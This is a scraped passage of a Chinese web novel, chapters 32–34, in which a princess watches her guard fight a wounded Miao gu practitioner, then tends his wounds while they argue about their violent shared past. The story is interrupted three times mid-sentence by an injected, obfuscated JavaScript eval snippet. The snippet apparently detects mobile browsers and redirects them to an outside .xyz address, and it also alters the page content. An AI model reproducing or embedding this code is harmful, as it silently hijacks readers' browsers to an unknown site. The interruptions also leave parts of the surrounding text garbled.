晓山青懒得再计较这个,转头嘱咐小桃枝:“你先进屋子,嘱咐白云她们今夜不要留人守夜,便是外间也不许留人,若是夜里听见什么响动,只管继续睡就是,不准出来看。后几日也是一样。” 她实在是怕谢歧发起疯来场面失控,到时候这群婢女白白丢了一条小命。 “还有你。”晓山青又回头道,“接好这个。” 她从袖子里摸出一个小瓷瓶子丢给他:“省着点用。” “这是什么?”漱石伸手抓住了瓶子。 “避虫丸,捏碎了以后能让蛊不近你身。”晓山青埋头往前走,“今夜有人要来,若是不想死就收好这东西。” “等等,你什么意思?”漱石下意识地伸手拦住了她。 晓山青不耐烦地拍掉了他的手:“字面意思,枕流不是跟你交代过了吗?” “你倒是说清楚……” “今日下午,明德门,京兆陆氏那辆马车边的那个苗人,他是我的旧相识。”晓山青叹气,“我不知道他怎么来的长安……不过他既然来了,必然是会来找我的。还得劳烦你千万不要死在他手下了,不然我又多了一件麻烦事要处理。” “……算了,你防不住他。”她又停住了脚步,回头上下打量他:“你怕蛇吗?” “我不是枕流,我不怕。”漱石警惕。 然而还是晚了一步,晓山青已从袖子里把白仙拎了出来,丢到了他身上。 “……!!!” “你不是不怕吗?在我院子守夜时又不是没见过它。”晓山青奇道。 因为白日里有小桃枝在,白仙只能在夜里出来玩,她也没想着避开洪统领手下的那些暗卫,想来他们也该把白仙看眼熟了。 “我,不,怕!”漱石直挺挺地站着,继续嘴硬。 晓山青:“……” “那就好。”晓山青看着白仙攀到了他的手臂上,头也不回地走进了屋内:“不用留手,随便打,不要打到梨落院外就是。若是你实在应付不过来了再叫我出来。” “放屁,我打架还从没输过!!!” 呵呵。那你最好能打得过谢歧。晓山青在合上门的前一刻想。 ……但她没想到她确实低估了漱石。 齐云姑姑说“那孩子很厉害”并没有夸大,漱石的身手确实是已入化境。 但显然,谢歧也不是什么好惹的东西。 32. 舍得 “……郡,郡主,今日怎么,怎么天还没黑,就,就打起来了……” 小桃枝一边帮晓山青拆着发饰,一边战战兢兢地往外看。 窗子是半开的。梨落院的院子不大,原本摆了一些花草木石,如今这些东西都变成了碎片,被扫得干干净净……嗯,反正从梳妆桌前望出去,称得上一览无余,尽收眼底。 但桃枝也不敢抬头,只敢匆匆忙忙地瞥上一眼,然后又往晓山青的背后藏了藏。 “可能是快气疯了吧。”晓山青有点好笑,“你躲什么呢?” “郡主,你当真认识……认识这疯子吗?”桃枝小声地凑在她耳边问。 晓山青卸妆的手顿了顿,平平地“嗯”了一声,似笑非笑地回头:“他耳力好的很,当心他听到你这句话。” “……真……真的?” “真的呀。他这种睚眦必报的人,要是听见你喊他疯子……”晓山青勾了勾嘴角:“说不定会半夜过来,叫虫子把你啃成一张空皮。” 桃枝缩了缩脖子,哆哆嗦嗦地给自己壮胆:“郡主最会吓唬人了,奴……奴婢不怕!” “再说……再说,哪有虫子能把人啃成空皮呀。” “没有吗?”晓山青轻描淡写地眨了眨眼睛:“可能我们山里的虫子比较毒吧。” “……郡,郡主!” “嗯?” “虫虫虫虫虫虫虫虫……” 晓山青:“?” “……虫子!有虫子爬进来了……郡主!!!”桃枝一下子跳了起来,使劲儿推着她往后走,“郡主别怕,我我我我……我去叫白云……她胆子大……不不不不怕……” 她简直快要哭出来了。一边抖成了秋风里的叶子,一边还要挡在晓山青面前,拿着手里的犀角梳子胡乱挥舞。 晓山青倒是不怕这些,被桃枝拉着站了起来后也没什么别的动作,只是沉默地注视着这些顺着从门缝里爬进来的斑蝥。 不是一只,也不是两只。 足有数十只斑蝥挤过狭窄的缝隙,鞘翅上妖异的黄黑纹路在门的阴影里闪着奇怪的色泽,挪动着细细的足朝她们靠近。 晓山青:“……那白云的胆子还挺大。” 这样的虫子,白云她也敢打,那她是不是应该要重新审视一下白云了? “——啊啊啊啊!”旁边的屋子也传来了瓷器碎裂的声音,随后是婢女的惊叫声。很快声音就戛然而止,变成了一声急促到变了调子的“郡主!!”。 晓山青给院子里的人放了假。梨落院里的婢女虽少,但并非没有人,白云还领着三四个小婢女在屋子内做活,听这动静来看,这几个年纪不大的小丫头已经被谢歧放出的斑蝥吓得乱成了一团。 “行了。”晓山青笑了笑,把手里的避虫丸拍碎在了桃枝肩上,又随手拍了拍她的背,“小东西而已,怕什么?你的郡主不是还在这里吗?” 桃枝泪眼迷蒙地瞧着她,一把抓住了她的手,颤巍巍道:“郡郡郡郡……” “郡主!”白云拎着扫帚惊魂未定地从隔壁冲了进来,身后跟着一串小尾巴:“郡主,这毒虫子会飞!” “白云,你与桃枝就带着她们几个回你们的屋子吧。”晓山青对着白云招了招手,“不要怕,虫子而已。” “那郡主怎么办……?” “不用担心我,我不怕这些。”她边说边蹲下身来,把手指探向一只斑蝥,那只斑蝥犹豫着嗅了嗅她的味道,扇动翅膀停在了她的指尖。 晓山青微笑着挑起它,脸上的表情平淡得像是用指尖举起了一只蝴蝶。 “我在山里确实有些奇遇,这法子你们学不来。”她带着一点笑意的眼风轻轻地扫了过去,“好了,别出去乱说就是。下去吧,记得从备茶水的小间走,悄悄的。” “是!奴婢会与她们好好讲明白的。”白云怔了怔,肃然道:“郡主放心。” * 晓山青打开了门,抱臂看向院内对峙的两人。 这一开门,院子里面对面立着的两人都看了过来。 漱石站在一堆虫子的包围里,有避虫丸,虫子没往他身上跑,但依旧把他烦的不行。他手里倒提着双刀,正恶狠狠地拿束袖擦脸上的血迹。而谢歧依旧是那套苗衣,皮质的腰带束着劲瘦的腰身,发尾与耳间的银饰还在轻晃,手上的是一柄沾着血的银刃,上面尚还有血珠滚落。 见她出来,漱石只是愣了一下,立在庭院中央的谢歧却是面无表情地转头看向她,慢慢收起了手上的动作,然后脸上忽地绽开了一个亲昵的笑容。 “阿青。” 他一字一字地喊道,然后微微地歪了歪头。红发绳垂落到了肩膀上,发绳末端的小铃铛也跟着动了动,发出了“叮”的一声轻响。 “你,你叫郡主什么?”漱石难以置信地看向他。 “……阿青啊。” 谢歧笑了:“怎么,你的耳朵不好吗?” 他挑衅般地,慢条斯理地重复了起来,越发念得缠缠绵绵:“阿青,阿青,阿青——我,的,阿,青。” “登徒子!谁给你的脸?”漱石冷笑着打断了他的话,“敢辱郡主的声誉,今日你别想再活着走出这里。” 晓山青:“……” 倒是难得听到你喊一声郡主。 她觉得有点无聊,懒洋洋地用脚尖挑翻了一只斑蝥:“打够了没有?还打不打?” “你进屋去!”漱石不耐烦地哼了道,把双刀一甩,又往谢歧那儿冲了过去。 谢歧皱着眉头,身形一闪。 武器相接的刺耳声音不绝于耳。 晓山青就靠在门边冷眼看着。院子里还没点灯,但以她的眼力,还是能看清他们拆招的动作。看着看着,她忍不住皱起了眉头。 谢歧身上有伤。 这其实并不在她的意料之外。谢歧手上有的是阴招,但动了真格的漱石比她想得还要厉害。这样拖下去,他虽重伤不了谢歧,却能把谢歧逼走——就像几日前那样。 谢歧会受伤,这似乎并不奇怪。但这伤……该有那么多吗?晓山青疑惑地想。 多得不像是今天的,反而像这几日交手积攒下来的。 更奇怪的是谢歧的旧伤似乎完全没被他处理过,在他有什么动作的时候,晓山青能看到他身上已经干涸的血迹又一点点泅开,变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488534|185748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得更深、更多,更触目惊心。 她的目光和谢歧飞速地交错了一下。就在这个短得不能再短了的瞬间,她看见他又朝她笑了笑。 ……谢歧在折腾些什么? 然而她还没来得及想明白,就看见谢歧忽然毫无预兆地停下了所有动作。她的脑子里“嗡”地一声轰鸣起来。 ……这疯子!漱石的刀就冲着他的心口去,他居然连躲都不躲,只带着古怪的笑意直勾勾地盯着她! “阿青。”他在喊她。 他明明没有出声,她就是听见他在喊她。 漱石会收手吗? 不会。 客观上晓山青没有下过任何让他点到为止的命令,主观上……谢歧刚刚还嘴欠过。 疯了。晓山青想。 她的反应从来没有那么快过。几乎是谢歧停下来的一刹那,她已经合身扑了上来。 ——但还是来不及,还是赶不上漱石出刀的速度。 他不仅是个顶级的暗卫,更是一个顶级的刺客。在昭宁长公主府里,他发挥的不仅是“盾”的作用,有时候他还得是“矛”。显然,他是一柄很好用、很锋利且从不让人失望的“矛”。 没有办法。 她只能咬牙拽下手上的镯子丢出去。 急速旋转的银环微微挫开了一些刀锋,短刀在空中微微偏开了一点,在晓山青胆战心惊的目光里擦过了谢歧的肩膀。 她松了一口气。 还好,没有捅个对穿……不然她还要收拾谢歧的血。 心下稍定,晓山青刚缓了缓身形,就看到谢歧朝她的方向踉跄了几步,直挺挺地摔了下去。 晓山青:“……” 不是? 她迷茫地看着倒在她身上的谢歧,迷茫地撑着谢歧压在她身上的重量,又迷茫地,在一片兵荒马乱之中抬起了她湿漉漉的手。 她只是把手往谢歧身后搭了一下,手上就已染上了一片红。 他到底流了多少血? “阿青,你看。”谢歧把下巴搁在她的肩头,贴在她耳边轻轻道:“你舍不得我。” 晓山青:“……” 滚啊。 她都懒得开口说话。她要是舍不得他,她压根就不会出现在长安好不好? 她想把谢歧推开,但谢歧忽然脱力地压了下来,砸在她的肩膀上。 “砰”的一声。晓山青的脑袋也跟着“嗡”了一下。 “郡主?郡主?”漱石收了刀,在她耳边兴奋地问她,“把他丢到水牢里去怎么样?” “郡主!” “………………郡主?” 好吵。 烦死了。 “郡主,可要属下把他带走?”是枕流的声音。他的声音比漱石咋咋呼呼的声音更好辨认,一下就把晓山青从自己的思绪里扯了出来。 晓山青看了看怀里的谢歧,又扭头看了看跪在她身边的枕流:“把他带到哪里去?” “不。”枕流道,“属下的意思是,把漱石带回去。” “???”漱石难以置信地指了指自己,“我?” “可是我赢了啊?” 33. 占有 “……他比较特殊,你们还是别碰他的血为妙,剩下的还是我自己来吧。” 晓山青忍不住长长地叹了一口气,把快滑下去的谢歧往上捞了捞,“你带漱石回去就行。” “是。”枕流低头道:“郡主可还有什么吩咐?” 他顿了顿:“……这个情况,需要属下报给洪统领吗?” 报什么?今天晚上有一个野男人抱着昌平郡主不松手,郡主非但没有反抗还要带他进屋子吗? 听上去很像无媒苟合。 晓山青反问:“你现在算我的人,还是算我阿娘的人?” “……算长公主的。” “那往日怎么来,今日便怎么来呗。” “赶紧把人带走上药吧,我是说杵在那边的那个。”晓山青不以为然地朝他抬了抬下巴,“哦,那边那个,走之前记得把白仙还我。” “?”漱石:“喂……?” “走。” “什么意思?喂?喂!” “……” * 把谢歧拖到了屋子里并不是什么难事,难的处理他的血。 晓山青只把他放在了地上,就开始扒他这一身带血的衣服。 外衫倒是好剥,里面里衣的布料却与伤口黏连着,每拉开一点都发出令人齿寒的细微声响。直到最后把他身上浸透了血的里衣丟到木盆里,晓山青才开始审视他身上的伤口。 这样狼狈的谢歧,她倒是许久不见了。前几日的伤口深浅不一,还在慢慢地渗血。最重的一处还是刚刚肩胛的伤,皮肉外翻着,汩汩地冒着血。 若是她出手晚了一步,这伤口还能再深一些,应当能见骨。 弯弯的月牙已经升了起来,月光映在地上,照得谢歧的脸色也雪白一片。晓山青起身取来清水与旧包裹,跪坐回他身侧。 她一路带过来的包裹里有阿爹的药,还没丟,没料到最后给谢歧用上了。 晓山青一边叹气,一边熟练地上药,勒布条。 光他肩上的这道伤口就用掉了大半瓶药,这样一来旁的伤口倒是顾不上了。也不能不处理。他的伤口本就很难止血,三五天了,这样慢慢渗血也能让人失血倒下。 晓山青看了看地上那个没什么声息、只有胸口还在微微起伏着的人,又忍不住叹了一口气。 谢歧上身的衣服已经被她扒得差不多了,只剩下那件带着斑驳血迹的里衣。该看得都看过了,她懒得闭眼,直接往他松松垮垮的腰带摸去。 指尖刚触到腰带边缘,一直昏迷的人忽然动了。谢歧不知何时睁开了眼,冰凉的手指攥住她的手腕。 晓山青:“……” “……怎么搞得好像我要强迫什么良家妇女一样?”她凑过去看了看谢歧的脸色,“还是你想自己来?” 手腕上的力度松了几分。 于是晓山青毫不费力地往下摸了下去。 腰带里果然有暗袋,她指尖一勾就把那袋子勾了出来。 “……藏得还挺严实。” 晓山青撇撇嘴,找了个舒适的位置盘腿坐下,打开了袋子。 先掉出来的是一根花带。 晓山青愣了愣,几乎没花什么时间就猜到了这是哪根花带。然后她把手一松,像丟什么烫手山芋一样把这条带子丟了回去。 谢歧似乎撩开眼皮看了她一眼,然后冷笑了一下。 晓山青:“……” 晓山青也跟着他冷笑,然后摸出了袋子里的药瓶,咬开软塞,对准了他腰间的伤口直接倒了下去。 “嘶——” 很好,冷笑变成了抽气声。 “你想寻死的话能不能死远一点,别死在我院子里好不好?”晓山青没好气道:“若不是怕你死在我这儿麻烦,谁乐意管你。” “我寻死?”谢歧刚措不及防地牵扯到了肩膀的伤口,痛得额间都是细密的冷汗,还要哑着嗓子回她:“若不是,嘶,若不是,有你在帮他,就那你身边那几个废物……呵,我早杀干净了。” 晓山青没说什么,只是伸手按了按他肩膀上的伤:“谢歧,你知道我讨厌蠢货。” “所以我想不明白,你为什么会干出这种蠢事?”她慢慢地抬起了眼帘,困惑地注视着他:“还是说……” ……你喜欢我,喜欢到了这个地步了吗? 她没有问出这句话。 这实在是一个不合时宜的问题。连晓山青自己都疑惑,谢歧这种人真的会懂什么是“喜欢”吗?一个小怪物,一个小疯子,他会懂这个吗?谁会教他这个? 他只会争抢与占有。 “这次就算了。”晓山青收回了继续探究这个问题的念头,换了一个问题:“你现下落脚在哪里?陆府?” “嗯。”谢歧应了一声。 “陆瑶光和陆开仪,就是去接陆瑶光的那个,都在陆府?” “……嗯。” “那陆瑶光到底是出了什么问题?”晓山青直接问道:“你跟着她从荆州过来,总该知道发生了什么吧?” 仰躺在地上的谢歧轻笑了一声,唇边勾出了一个讥诮的弧度:“怎么,不继续怀疑是我干的了?” 晓山青:“……” 她其实在那日晚上便想清楚了,谢歧还没有那么大的能耐。单靠名字给人下蛊的蛊术是不存在的,单要抹去某段记忆又不伤人神智的蛊术也同样是不存在的。他们学的只是蛊术,不是能乱天下的巫蛊之术。 “你要杀她,自然是有一百种法子。”她低头收拾东西,把小药瓶与其他东西一一塞回袋子里去,“但你若是要抹去她的记忆,又偏偏不能伤她的神智,天下大抵还没有这样的办法。” “是吗?”谢歧嘲弄道,“我还以为我会呢?” “那她到底是怎么了?”晓山青忽地倾身靠近了他,“快讲啊。” “……她烧糊涂了,所以忘了。”谢歧撇开头。 晓山青:“……” 她相当疑惑地重复了一遍:“……烧糊涂了?那么简单?” “对,就那么简单。”谢歧莫名其妙地有一些恼。 “我到荆州杜家时她已烧了一月有余,杜家急病乱投医,竟找到我头上来了。我没在她面前露面,只给她用了清瘴毒的草药,她才慢慢好了。虽然好了,但却糊里糊涂忘了许多东西。” “杜家又怕她病情反复,怎么都要让我跟在她身边。”他扯了扯嘴角,“既然如此,我便顺水推舟了。” “瘴毒……能让她缠绵病榻那么久?”晓山青沉默了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488535|185748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “荆州的郎中连这种小病都治不了?” 谢歧似乎也没想过这个问题,因此难免被她带偏了思路:“确实是小病……” ……算小病吗? 对于陆瑶光这般没吃过什么大苦、也没怎么在苗疆的林子里过过夜的货真价实的贵女来讲,瘴毒算小病?恐怕翻遍整个荆州,深入过苗疆腹地、见过林瘴的郎中不会多于一只手的数!这其中会解瘴毒的又有几个? 两人对视了一眼,又各自转开了视线。 “……可是,我不是悄悄给她服过清心丸了吗?就在我走之前的一夜。”晓山青越想越奇怪,忍不住出声。 “呵,还真是关心她。”谢歧冷哼了一声,“那你是不知道整个杜家到底请了多少庸医。” 晓山青:“……真的假的?” 她依旧抱着半信半疑的态度。 算了。 与其在这里胡思乱想,不如明日寻个由头给陆府下个帖子。反正崔家、王家几个姑娘也在想着什么时候去陆府探病,不如由她来牵这个头。正好也去陆家探探,她还要再理一理太子与陆开仪的关系。 晓山青这样想着,干脆拍了拍衣裳,起身就要往里走。 可正要迈步,谢歧一下坐了起来,抓住了她的手腕。 “你不信我?”他的眉眼忽地阴沉了下来,仿佛笼罩上了一层黑压压的云。 晓山青被拉住了手腕,不得不居高临下地看向他。 烛光在她长睫下投下细密的阴影,她眨了眨眼,好像有蝴蝶扑扇了一下翅膀。 “信啊。”她忽地笑了一下,有只银铃在静谧的夜里轻轻一撞,“我怎么会不信呢?” 她就这样带着笑,俯下身来,抬手摸了摸他的侧脸,然后叹道:“所以快点滚回去,不要继续给我找麻烦了好不好?” “不,好。”谢歧扣着她手腕的力道又重了几分。 “那太糟糕了。我不是很想见你,我以为我表现得很明显了。” “你凭什么不想见我?”谢歧冷笑:“你……” “……因为我其实搞不明白你想要什么。” “那么谢歧,你想要什么呢?”她望着他的眼睛,说的话却像是把带刺的刀。她就这样看着他,一点点把刀送进了他的胸口。 “你到底在向我要什么?” “我的身体?”她的声音里满是疑惑,“我们那几晚还不够吗?” “我的时间?我的目光?我的注意力?” “还是……全部的我?” 她奇异地看着他,像是说了一个把自己逗笑了的笑话般慢慢笑了起来:“可是谢歧,没有人能拥有我。” “我永远、永远属于我自己。”她这样傲慢地宣布。 空白的沉默。 不知道过了多久,也许不过是几息,也许有足足半柱香的时间,谢歧开了口。 “我什么也不要。”他的声音很淡漠,脸上的表情也是,唯有抓着晓山青的那只手的指节泛了白。 “但是,你既然喝过了我的血,”他说,“那我们就该这样,一直、一直、一直纠缠下去。” 你看,这贪心的小怪物。 他一边说着什么都不要,一边还想着把所有能够到的东西都抓到手里。 34. 登堂 “……这两个有什么关系吗?”晓山青有点无语,用了点力想要把自己的手抽出来。 但没抽出来。谢歧握得很用力。 “我喝你的血是另一码事,别混为一谈好不好?”她有点烦了,甩了甩手,“起来,既然缓过来了就别坐在地上了。” 谢歧在她手上借了一点劲儿,慢慢地撑着架子站起来:“怎么不是一码事?” “我可是给你当了整整十年的药引。放了我那么多血,现在不认我了?”他垂着眼睛,恹恹地道。 这话是没错。但是…… “谢歧,你不乐意?” 晓山青撩开珠帘往内室走去,没管跟着她走进来的谢歧:“我是不是太久没骂你狗东西了?抢了我的救命药,让我只能喝你的血来当药,难不成还是我的错了?” 她越想越觉得好笑。 那药虽有救命的名字,但未经炮制时仍是一味毒草,毒性几乎与药性持平。 谢歧这个狠人——阿爹找到他的时候,他已囫囵把那药生吞了下去。要不是阿婆用了不知道什么法子把他的命吊回来了,他如今坟头的草都比他人高了。 “若你是那时候的我呢?”谢歧寻了个位置坐下,一边打量她的屋子,一边反问她了一句,“被蛊啃成了人不人鬼不鬼的样子,一日比一日虚弱,偏偏面前有一味能解蛊毒的神药,你抢不抢?” 晓山青倒了两盏热茶,把其中一盏往他的方向推了推。杯中袅袅热气腾起,水汽微微模糊了一点他苍白的嘴唇。 抢还是不抢? 她还真没有细思过这个问题,一时间有点被问住了。 但是,若是当真陷在这样的绝境之中,她的选择也只会是一个,当然是—— “抢。”她说。 在生死面前,所有道德、良知、承诺都是空谈。 谢歧看着她,微微向后一仰,气定神闲地露出了一个“我早知如此”的表情。 “别高兴的太早,谢歧,我们可不是一类人。”晓山青低头喝了一口茶水,“我脱困后可不会选择回去屠村。杀一个两个也就算了,杀一整个寨子的人……谢歧,还是你比较疯。” 谢歧对此不置可否,“是不是我当年回去时就不该让你跟过来?” “装什么?”晓山青嗤道:“不是你特地等我跟上你的?” 她往后一靠:“要不是我跑的快,恐怕也要跟着整个寨子一起消失在那把火里了——谢歧,别跟我讲你那时没有这个打算?” “说起这个,你不是逃回去了吗?”谢歧笑了起来,毫不客气道:“然后你在我回程的半路把我引到了悬崖边,一脚把我踹了下去,那时候你也没有留手呀?” “那我总得比你先回去,好抢先向阿婆告状吧?没办法,你不也游上来了吗?上来后居然还会游泳了——多好的事。”晓山青也笑道,“在那之后……你杀了我的兔子,又把我困在竖井里的事情呢?” “……你很喜欢那只兔子吗?”谢歧歪了歪头,对着她龇了龇那对尖尖的虎牙,“可是阿青,你不喜欢它。你见到它的第一眼就不喜欢它,你嫌它太蠢了,连名字都没给它取。” 她确实不喜欢那只阿爹不知从哪里抓来的兔子,更何况那时候她刚刚孵出了白仙,一门心思扑在养蛇上,连门都不出,兔子都是婆婆帮她喂的。 但这不代表谢歧可以拿兔子引她去那个竖井。她讨厌这种被要挟、被一点点侵占空间的感觉,偏偏谢歧那时候已经学会了伪装。 说起来兔子其实不是谢歧杀的——是她在井里亲自拧断了兔子的脖子。 但这不妨碍她更加、更加讨厌谢歧。每后退一步,每妥协一分,她都要更憎恨谢歧一点。 晓山青沉默了一会儿,然后“呵”了一声:“你管我喜不喜欢,那都是我的兔子。我讨厌别人碰我的东西。更别提我还在那里睡了一晚上。” “是我要你睡在那里的吗?你不是留好了后手吗,为什么不早点出来?”谢歧懒洋洋道:“你出来后用你的病放干了我三分之一的血,你躺在床上的时候我也躺在床上,你能出去跑的时候我还下不了床……一报还一报,我已还你了。” “错了,我可没有报复你。”晓山青冷笑,“是我在外面冻了一夜,诱得寒毒提前发作了而已。至于你放了多少血……” 她柔声道:“我发病了,我怎么会知道?” 两人隔空对视了一眼,空中好像有劈里啪啦的电光闪现。 “你看,阿青。”谢歧忽然说道,“我们就该这样一直一直一直纠缠下去。” 晓山青被这句话晃了一晃神。 她觉得自己应该说一句“你是不是疯了”,但谢歧这种疯子大概会把这句话当作对他的奖赏。 最后她吸了一口冷气,非常生硬地转开了话题,“你这个样子,还回去的了吗?” “回去不了。”谢歧答道,“血流得太多了,头还在晕。” 晓山青冷哼了一声:“活该。” 烛光闪烁。她忍不住捂嘴打了一个小小的哈欠。 “罢了,你就在这里休息,那边有张罗汉床……天亮前离开就行。”晓山青朝床走去,两下就踢掉了鞋,扑到了床上,把头埋在枕头里闷闷地嘱咐道:“能动弹了就赶紧走。若是我那两个婢女担忧我,过来找我,你也不要叫她们看见……” “我就那么见不得人?”谢歧的声音好像带了一点赌气。 晓山青懒得与他争辩,言简意赅道:“对。” 谢歧终于没了动静。 床帐之间的黑暗一层层包围上来,温柔地包裹住了她的手足,覆盖在了她身上。晓山青如愿一点点陷入了黑暗之中。 “……那这次怎么算?”半梦半醒之间,她听见谢歧的声音在耳边响起。 好近。近得她又想起了那几天疯完了之后她窝在他怀里打瞌睡的时候,那时候他就喜欢这样亲亲她的脖子,再凑在她耳边说话。她不喜欢,但也不是很讨厌,因此十次里有五六次不会推开他。 迷迷糊糊的,她下意识问道:“……哪次?” “……这次。”他的声音又忽然变低了,变得飘忽了起来,“阿青,你告诉我你会等我回来。” 晓山青没有说话。 她非常想说,我骗你的次数还少吗?再退一步讲,你骗我的次数还少吗? 睡意一点又一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488536|185748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地侵蚀过来,把她的脑袋搅合成了一团浆糊。晓山青勉力把自己撑起来,凑近了那张近在咫尺的、在昏昏的床帐之间依旧显得漂亮得过分的脸:“谢歧。” “我是不是说过,不许你这一身,上我干净的床塌?” 耳边那缠着她的声音骤然变远了一点:“……我没上。” “滚。快滚。”晓山青一松手,“砰”地一声把自己跌进了更深、更绵软的被衾里。 黑甜的梦境卷来。身边的人似乎还没有走,而是坐在了床边的脚踏上,有一搭没一搭玩着她鬓边的一缕发丝。 晓山青实在太累了,懒得理他。 “…………还有……” ——什么? “……阿青……你旁边那个…………是谁?”不知道是梦里的谢歧还是她床边的这个谢歧在她耳边反复追问。 ——谁?崔泓?漱石?枕流? “……阿青……你是不是……找了新的情郎?” ——滚啊! 一巴掌过去。 她的世界总算安静了。 * 这一觉睡了一个昏天暗地,还是小桃枝战战兢兢地把她推醒。 “郡主,郡主,别睡了,快醒醒啊。” 晓山青迷茫地从瞌睡里抬头:“阿娘来了?!” “这倒是没。”桃枝答道。 “那是谁来了?”晓山青呆呆的,“今天崔、王两家有说要来找我玩吗?” “没,今日没有行程。”桃枝如实道。 晓山青松了一口气,又一头栽回了床上:“那是怎么了?” “郡主,快别睡了。”小桃枝急得又推了推她,“昨天那人走了,虫子也跟着他不见了……” “那不是很好吗?”晓山青安慰她,“怕什么,他留下的东西不要碰,烧了就行。” 这时候白云端着热水进了房间,忍不住也开了口:“郡主,昨天那贼人什么也没留下,只是地上那个盆就这么摆在那里。奴婢等昨日不放心郡主,悄悄回来看了看,一进屋子,倒是被这盆吓了一跳。” 那个她随手捞过来装谢歧的外衫的盆子。谢歧应当是取走了自己的衣服又处理了血迹,在天亮前走了。 “郡主,此事真的不必告知昭宁长公主吗?”白云担忧道。 “平州战事未平,阿娘忙着筹集军饷呢。”晓山青摇了摇头,“阿娘并非不知道,只是实在没空帮我处理。况且也算不上什么大事,那贼人……” 她忍不住笑了起来:“日后叫枕流漱石不用拦他了。我试过了,他若要铁了心要强闯,你们拦不住。” 更何况她也没有那么多避虫丸来给人用。 小桃枝吃了一惊:“难道就这样叫他登堂入室……?” “好了好了,以后就照常来吧。” “旁人就算了,你们两个已算是我贴身婢女,就不必再躲他了。他实在是不一样……若是见了他,就当作没瞧见就好。”晓山青揉了揉乱成一团的长发:“帮我给崔三姑娘下个帖子,问问她什么有空,我们一起去陆府……看看陆姑娘。” “奇怪,我以往起来时头发有那么乱吗?”她嘀咕道。